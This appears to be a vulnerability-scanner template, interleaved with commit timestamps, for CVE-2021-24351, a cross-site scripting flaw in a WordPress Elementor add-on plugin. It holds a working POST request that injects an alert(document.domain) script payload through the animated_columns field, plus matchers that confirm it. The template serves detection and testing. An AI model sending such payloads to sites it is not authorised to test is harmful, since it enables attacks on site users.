2022-12-21 15:13:37 +00:00
id : CVE-2021-24351
info :
2023-04-12 19:33:20 +00:00
name : WordPress The Plus Addons for Elementor <4.1.12 - Cross-Site Scripting
2022-12-21 15:13:37 +00:00
author : Maximus Decimus
severity : medium
description : |
2023-04-12 19:33:20 +00:00
WordPress The Plus Addons for Elementor plugin before 4.1.12 is susceptible to cross-site scripting. The plugin does not properly sanitize some of its fields in the heplus_more_post AJAX action, which is exploitable by both unauthenticated and authenticated users. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
2022-12-21 15:13:37 +00:00
reference :
- https://wpscan.com/vulnerability/2ee62f85-7aea-4b7d-8b2d-5d86d9fb8016
2023-03-28 12:11:06 +00:00
- https://theplusaddons.com/changelog/
2023-04-12 19:33:20 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-24351
2022-12-21 15:13:37 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
cve-id : CVE-2021-24351
2023-03-23 19:44:44 +00:00
cwe-id : CWE-79
2023-04-12 10:55:48 +00:00
cpe : cpe:2.3:a:posimyth:the_plus_addons_for_elementor:*:*:*:*:*:*:*:*
epss-score : 0.00145
2023-03-28 12:11:06 +00:00
tags : cve2021,wordpress,wp-plugin,wp,xss,the-plus-addons-for-elementor,wpscan,cve
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2022-12-21 15:13:37 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-12-21 15:13:37 +00:00
- raw :
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
2022-12-21 21:04:20 +00:00
Host : {{Hostname}}
2022-12-21 15:13:37 +00:00
Content-Type : application/x-www-form-urlencoded; charset=UTF-8
2022-12-21 15:15:37 +00:00
2023-03-23 19:44:44 +00:00
action=theplus_more_post&post_type=any&posts_per_page=10&offset=0&display_button=yes&post_load=products&animated_columns=test%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3e
2022-12-21 15:13:37 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
2023-03-23 19:44:44 +00:00
- "<script>alert(document.domain)</script>"
- "the-plus-addons-for-elementor"
condition : and
2022-12-21 15:13:37 +00:00
- type : word
part : header
words :
- text/html
2023-03-23 19:44:44 +00:00
- type : status
status :
- 200
2023-04-12 19:33:20 +00:00
# Enhanced by md on 2023/04/12